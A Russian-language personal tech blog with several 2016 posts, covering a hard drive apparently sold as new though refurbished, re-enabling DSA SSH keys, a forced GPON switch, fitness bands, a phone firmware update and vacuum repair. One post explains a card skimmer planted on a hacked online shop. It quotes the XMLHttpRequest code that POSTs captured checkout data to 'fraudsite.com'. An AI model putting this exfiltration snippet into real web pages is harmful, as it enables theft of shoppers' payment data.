суббота, 12 ноября 2016 г.

Скручен "пробег" у жесткого диска?

На прошлой недели покупали коплектующие для нового компьютера в офис, среди них был диск WD5000AAKX - популярная модель из серии WD Blue. Новый компьютер я собрал во вторник, а уже в среду жетский диск посыпался бэдами. Что ж бывает - диск заменили, но теперь нужно подготовить обоснование для возврата по гарантии. В этом случае обычно достатоно сделать распечатку вывода smartctl -AHi -  вот как он выглядит на этом диске:

smartctl 6.4 2014-10-07 r4002 [x86_64-linux-4.0.0-1-amd64-finnix] (local build)
Copyright (C) 2002-14, Bruce Allen, Christian Franke, www.smartmontools.org

=== START OF INFORMATION SECTION ===
Model Family:     Western Digital Caviar Blue (SATA 6Gb/s)
Device Model:     WDC WD5000AAKX-22ERMA0
Serial Number:    WD-C1UQ747597479
LU WWN Device Id: 0 000000 000000000
Firmware Version: 35.25Q.0
User Capacity:    500,107,862,016 bytes [500 GB]
Sector Sizes:     512 bytes logical, 4096 bytes physical
Device is:        In smartctl database [for details use: -P show]
ATA Version is:   ATA8-ACS (minor revision not indicated)
SATA Version is:  SATA 3.0, 6.0 Gb/s (current: 6.0 Gb/s)
Local Time is:    Thu Nov 10 13:33:48 2016 UTC
SMART support is: Available - device has SMART capability.
SMART support is: Enabled

=== START OF READ SMART DATA SECTION ===
SMART overall-health self-assessment test result: FAILED!
Drive failure expected in less than 24 hours. SAVE ALL DATA.
See vendor-specific Attribute list for failed Attributes.

SMART Attributes Data Structure revision number: 16
Vendor Specific SMART Attributes with Thresholds:
ID# ATTRIBUTE_NAME          FLAG     VALUE WORST THRESH TYPE      UPDATED  WHEN_FAILED RAW_VALUE
  1 Raw_Read_Error_Rate     0x0001   200   200   051    Pre-fail  Offline      -       5
  3 Spin_Up_Time            0x0001   147   137   021    Pre-fail  Offline      -       3608
  4 Start_Stop_Count        0x0000   100   100   000    Old_age   Offline      -       39
  5 Reallocated_Sector_Ct   0x0001   133   133   140    Pre-fail  Offline  FAILING_NOW 3041
  7 Seek_Error_Rate         0x0001   200   200   051    Pre-fail  Offline      -       118
  9 Power_On_Hours          0x0000   100   100   000    Old_age   Offline      -       75
 10 Spin_Retry_Count        0x0001   100   253   051    Pre-fail  Offline      -       0
 11 Calibration_Retry_Count 0x0000   100   253   051    Old_age   Offline      -       0
 12 Power_Cycle_Count       0x0000   100   100   000    Old_age   Offline      -       22
184 End-to-End_Error        0x0001   100   100   097    Pre-fail  Offline      -       0
187 Reported_Uncorrect      0x0000   099   099   000    Old_age   Offline      -       1
188 Command_Timeout         0x0000   098   098   000    Old_age   Offline      -       8590065666
190 Airflow_Temperature_Cel 0x0000   067   043   000    Old_age   Offline      -       33
192 Power-Off_Retract_Count 0x0000   200   200   000    Old_age   Offline      -       19
193 Load_Cycle_Count        0x0000   200   200   000    Old_age   Offline      -       8
194 Temperature_Celsius     0x0000   110   086   000    Old_age   Offline      -       33
195 Hardware_ECC_Recovered  0x0000   200   200   000    Old_age   Offline      -       0
196 Reallocated_Event_Count 0x0000   084   084   000    Old_age   Offline      -       116
197 Current_Pending_Sector  0x0000   200   200   000    Old_age   Offline      -       0
198 Offline_Uncorrectable   0x0000   100   253   000    Old_age   Offline      -       0
199 UDMA_CRC_Error_Count    0x0000   200   200   000    Old_age   Offline      -       0
200 Multi_Zone_Error_Rate   0x0001   100   253   051    Pre-fail  Offline      -       0

За 75 часов работы диск ощутимо покрылся BAD блоками. Возможно заводской брак в механике - подумал я и отправил отчет на печать. Уже выделяя маркером "важные" параметры в отчете для гарантийщиков, я заметил несовпадение серийного номера (S/N) и модели диска (MDL) в отчете S.M.A.R.T. и на наклейке:


По данным S.M.A.R.T. серийник WD-C1UQ747597479 и модель WD5000AAKX-22ERMA0, но на наклейке значатся WCBAEPU56008 и WD5000AAKX-08U6AA0 соответственно. В принципе я допускаю, что на наклейке номер может незначительно отличаться (быть более полным или наоборот - обрезанным). Но тут номера не совпадают совсем. Еще смущает дата выпуска - 10 февраля 2015, а куплен диск был 4 ноября 2016. С учетом того, что модель популярная, то слабо верится что он почти два года лежал на складах.

Перехожу к обратной стороне:



И сразу бросается в глаза квадрат на плате со следами клея (1). По номеру ревизии платы электроники диска (2060-771824-005 REV A) нашел изображение платы в интернете:

Изображение с сайта www.dawntech.cc

На месте квадрата со следами клея должен быть стикер с QR кодом. Поскольку диск новый и ставил я его аккуратно, то я уверен что стикера на нем не было. Дальше стикер с надписью "DELUX EP-450TC" (2) - это вообще от компьютерного блока питания! Про стикер с надписью "2016 / 6" (3) - трудно судить наверняка, но с учетом что дата отличается от даты выпуска почти на полтора года, то создается впечатление, что передо мной refirbished диск, который нам продали под видом нового (вот хоть убей, но не могу вспомнить был ли запаян антистатический пакет с диском).

Если это действительно не новый диск, то тогда понятно почему серийный номер и модель в S.M.A.R.T. отличаются от указанных на диске.

четверг, 10 ноября 2016 г.

userauth_pubkey: key type ssh-dss not in PubkeyAcceptedKeyTypes

В Ubuntu 16.04.1 из коробки отключена поддержка DSA ключей (споры на эту тему). Насколько это оправдано - решать вам, но если вам очень нужно ее включить обратно, то добавьте в /etc/ssh/sshd_config строку "PubkeyAcceptedKeyTypes=+ssh-dss".

echo 'PubkeyAcceptedKeyTypes=+ssh-dss' | sudo tee -a /etc/ssh/sshd_config
sudo service ssh reload

После этого можно зайти с DSA ключем.

воскресенье, 6 ноября 2016 г.

Как мне GPON втюхали

Неделю назад Белтелеком добровольно-принудительно "приобщил" меня к технологии GPON. В случае неповиновения было предложено отключить городской телефон. Когда-то давно я подключился ради ADSL, но с тех пор номер разошелся по поликлиникам, детским садикам и школе - ведь эти организации не спешат звонить на мобильники.

С прокладкой оптики мне повезло - при виде монтажника жена не растерялась и позвонила мне за инструкциями. В итоге было строго-настрого запрещено сверлить что-либо в квартире или на площадке. Взамен было предложено воспользоваться штатным колодцем для слаботочки, который идет от щитка в каждую квартиру. Монтажник долго кряхтел, охал, но оптику проложил скрытно и аккуратно установил розетку. На вопрос "почему сразу не предлагаете прокладывать через существующие колодцы" - монтажник честно ответил, что это муторно и мы первые, кто "уперлись". Если бы не уперлись, то привет белые кабель каналы на стенах. Поначалу соседям даже в плинтус класть не сразу соглашались, только кабель канал. Потом через председателя товарищества дома ребятам сделали внушение, они извинились и, насколько я знаю, впредь были более чутки к пожеланиям клиентов.

Под конец месяца явился еще один установщик с терминалом GPON, подключил оборудование и сообщил новый номер. Вот тут начинается самое главное - поскольку сменился номер, то логично предположить что при звонке на старый будет выполнено перенаправление на новый номер. До этого я не раз слышал как робобаба диктует сообщение про смену номера и после этого идет переключение на новый номер. Но при попытке набрать свой старый номер я услышал только длинные гудки и никакой реакции телефона. Сначала подумал, что переадресацию не включили из-за конца недели, но когда на следующей неделе картина не изменилась, то я позвонил в поддержку БТК. Меня выслушали и сообщили, что все нормально и "так работает система". Мол когда все абоненты старой АТС перейдут на GPON, то всем автоматически включат оповещение и переадресацию. Но когда это произойдет хотя бы ориентировочно, ответить затруднились.

 - "А что же делать до этого момента?" - спрашиваю я. На что мне ответили, что "так работает система" и если мне очень нужно, то я могу подъхать в сервисный центр и подключить услугу переадресации за дополнительную плату. Но ни узнать размер дополнительной платы, ни подключить услугу по телефону мне не удалось. Вот думаю подъехать в сервисный центр и оставить им "пожелание" по улучшению отношения к клиентам.

Что в сухом остатке:
  • мне навязали "бесплатный" переход на GPON
  • если не упереться, то может пострадать ремонт в квартире
  • мне сменили номер, но за переадресацию придется дополнительно платить
  • в бытовом плане оптоволокно значительно менее практичный вариант в сравнении с медными кабелями, которые обслуживать я могу самостоятельное
  • если установлена охранная сигнализация, то за модернизацию придется доплатить около 140 BYN (~73$)

четверг, 22 сентября 2016 г.

Фитнес браслеты без фитнеса

В декабре прошлого года купил Mi Band 1A (который с белыми светодиодами и без пульсометра). Хотелось попробовать "умный" будильник, учитывающий фазы сна, а небольшая стоимость устройства только способствовала решению о приобретении. Попользовался и понял, что не жалею о покупке, но неудобно носить с часами. Пробовал одевать браслет на другую руку, но постоянное ощущение чего-то лишнего. А когда анонсировали Mi Band 2 с экраном, то я уже знал - это как раз то, чего мне не хватало в первой версии.

До покупки браслета я пользовался будильниками на телефоне и обычно у меня их было несколько (6:30, 6:45, 7:00). И как правило проснуться с первым будильником практически никогда не получалось - просыпалась жена или дети и только потом они дружно будили меня. Чтобы не будить всех подряд пробовал класть телефон возле подушки, но тогда я умудрялся выключить все будильники не приходя в сознание (я в курсе про навороченные приложения, где нужно решить задачку или что-то вроде, но пока я буду его спросонья решать, то успеют проснуться все остальные).

В начале декабря прошлого года пришел заказанный Mi Band 1A - пару дней использования показали, что я не ошибся с покупкой. Хотя жена и слышит вибрацию браслета, но дети точно продолжают спать. Чтобы оценить работу умного будильника я пробовал смотреть во сколько я просыпаюсь - получалось каждый раз разное время в промежутке от 6:00 до 6:30. В браслете есть акселерометр, которым за пол-часа до установленного времени будильника браслет начинает мониторить движения. Если есть движения, то сейчас сон в быстрой фазе и вибрация браслета будит очень легко. Если же за пол-часа найти быструю фазу не удается, то браслет просто работает как обычный будильник. И вот в последнем случае у меня иногда получалось проспать, хотя жена утверждает, что браслет точно вибрировал. После какого-то из обновлений Mi Fit перестали работать умные будильники. Хотя их поддержка и осталась в "железе", но из Android приложения их убрали. Чтобы вернуть будильники я установил Mi Band Tools. Еще полезным оказались графики фаз сна. Как правило глубокого сна у меня около 2 часов, но если график показывает меньше часа глубокого сна, то гарантированно целый день будет тянуть поспать.

Не менее полезными стали уведомления о звонках на браслете. Я настроил браслет таким образом, что если в течении 5 секунд я не ответил на звонок, то начинает вибрировать браслет. В рабочее время у меня на телефоне только вибрация, чтобы не мешать никому из окружающих, и если я иду, то часто не удается услышать звонок. С браслетом такой проблемы не возникает.

В Mi Band Tools есть функция Power Nap или "сон на ходу". Если тянет поспать, а времени на полноценный сон нет, то можно попробовать эту функцию. Она работает так - вы выбираете интервал времени (20-30 минут) и браслет отслеживает начало фазы медленного сна. В момент начала медленной фазы сна браслет разбудит. Таким образом получается аналог перезагрузки мозга. Я слышал о подобном методе у дальнобойщиков, но там люди берут связку ключей в руку и засыпают. В какой-то момент рука расслабляется, связка ключен падает и своим грохотом будит спящего. Если сразу после пробуждения сделать зарядку, то будешь ощущать себя выспавшимся. Один раз я пробовал функцию Power Nap, но у меня ничего не получилось - проснулся я ровно спустя заданный интервал и ни о какой свежести сознания речь не шла.

Еще незаменимой функцией стал мониторинг длительной неактивности. Такая функция сейчас появилась в Mi Fit, но раньше я пользовался ею в Mi Band Tools. Браслет мониторит количество шагов за час и если их было меньше определенного количества (у меня настроено 50 шагов), то уведомляет о недостаточной активности. Поскольку моя работа преимущественно сидячая, то случается что несколько часов подряд я не делаю ни шага и даже не замечаю этого.

Ну и напоследок о времени автономной работы - первый Mi Band работает больше месяца от одного заряда при включенных уведомления о звонках. Mi Band 2 работает около двух недель при умеренном использовании экрана (использую как часы и иногда смотрю шаги) и включенных уведомлениях.

вторник, 20 сентября 2016 г.

Как тихо и незаметно сливаются данные на сайтах

Началось все с обыденной истории - сайт интернет-магазина, администраторы которого упорно игнорируют установку патчей безопасности, взломали (на сайте есть уязвимость, позволяющая попасть в админку). В шаблон страницы добавили обфусцированный скрипт, который собирал данные со страниц оформления заказа и отправлял их на сторонний сервер.

Код, который отправляет подготовленные данные на сторонний сервер очень прост:

var http = new XMLHttpRequest();
http.open("POST","https://fraudsite.com/lib/paypal_icon.jpg",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("data="+data);

И вот глядя на этот простой код у меня возник вопрос - а почему браузер не препятствует отправке данных на сторонний сервер? А не препятствует он потому что fraudsite.com отдает заголовок "Access-Control-Allow-Origin: *" и данные сливаются без шума и пыли. Более подробный ответ почему так происходит есть на этой схеме:


Ради интереса проверил как на такую ситуацию реагирует антивирус - оказалось что никак. Вот и получается - заходишь на "уважаемый" сайт, вбиваешь данные кредитки и понятия не имеешь, что они уже отправились куда нужно. Грусть короче...

среда, 7 сентября 2016 г.

Обновил Xiaomi Mi4c до cyanogenmod 13.1

Сразу скажу, что с MIUI у меня не сложилось. Долго ждал разрешение на разблокировку загрузчика, а потом прошился на cyanogenmod 12.1 от teamsuperluminal. В принципе все работало хорошо, но отсутствие обновлений безопасности и постоянно отваливающийся bluetooth вынудили искать альтернативу.

К тому времени уже стабилизировался cyanogenmod 13.1 от того же teamsuperluminal и в нем как раз обещана стабильная работа bluetooth (активно использую для Mi Band 2 и в машине). Но вот проблема - для обновления нужно стирать /data, а это значит что потеряются приложения и их настройки (а их у меня немало).

Для переноса приложений и настроек решил воспользовался Titanium Backup. Для этого сделал резервную копию всех пунктов, которые не были отмечены красным цветом. На всякий случай перед прошивкой сделал бэкап в recovery (у меня стоит кастомный recovery TWRP). Последнее гарантирует возврат в исходную точку, если мне не понравится результат.

Через тот же TWRP прошил cyanogenmod 13.1 от 20160827, GAPPS 6.0.x и свежий firmware. Восстановление настроек и приложений в Titanium Backup прошло успешно и уже через пол-часа телефон был в строю.

Bluetooth пока работает без сбоев, включение/выключение sim карт не работает вовсе (про это я знал заранее) - пришлось достать вторую симку, чтобы не маячила. Грузится телефон с новой прошивкой дольше, насколько дольше я не замерил. GPS работает, отличий по камере я не замечаю (хотя в этой прошивке вроде новая камера). Быстрый разряд батареи не наблюдаю.

Посмотрю как оно будет дальше, но пока полностью доволен.

воскресенье, 4 сентября 2016 г.

Обслуживание Samsung SC8870

Этот пылесос покупался три года назад. За две недели до конца гарантийного срока сгорел его двигатель. Сервис-центр отремонтировал за два дня - видимо запас расходников (двигателей) у них всегда под рукой.

Недавно заметил, что воздух из пылесоса слишком горячий и решил выполнить его обслуживание. Здесь нашлось видео с описание сборки пылесоса - соответственно разбор в обратном порядке (колеса снимать не нужно).

При обслуживании планировал очистить внутренности от пыли, смазать подшипники двигателя и проверить состояние его щеток. Двигатель в этом пылесосе: VCM-M30AU.


Щетки изношены не сильно, но вот двигатель разобрать не получилось. Его корпус завальцован и в домашних условиях разборка/сборка будет сложновата. Порадовало что корейцы не забыли про термопредохранитель. Если бы еще и кожух двигателя на винтах вместо вальцевания, то было бы совсем прекрасно.

Если верить гуглу, то в минске такой двигатель предлагают от $25 до $50. Учитывая простоту замены двигателя - имеет смысл менять его, а не пылесос.

Посмотрю сколько он еще протянет до полного издыхания.

Обновлено 2018-01-15: На прошлой неделе пылесос завонял и выключился. Итого после замены двигателя по гарантии новый проработал примерно 4 года. Это хороший результат в сравнении с первым двигателем, но полная ерунда, если сравнивать со старыми пылесосами родом из СССР (вспоминаю родительский "Вихрь", который мой ровесник и до сих пор трудится в гараже).

Новый "оригинальный" двигатель, который очень похож на почивший, обошелся в 68 BYN (34 USD). Замена двигателя и фильтров заняла минут 15. Вчера видел аналогичный двигатель на радиорынке "Ждановичи" и там он стоил 58 BYN - так что при желании можно немного сэкономить.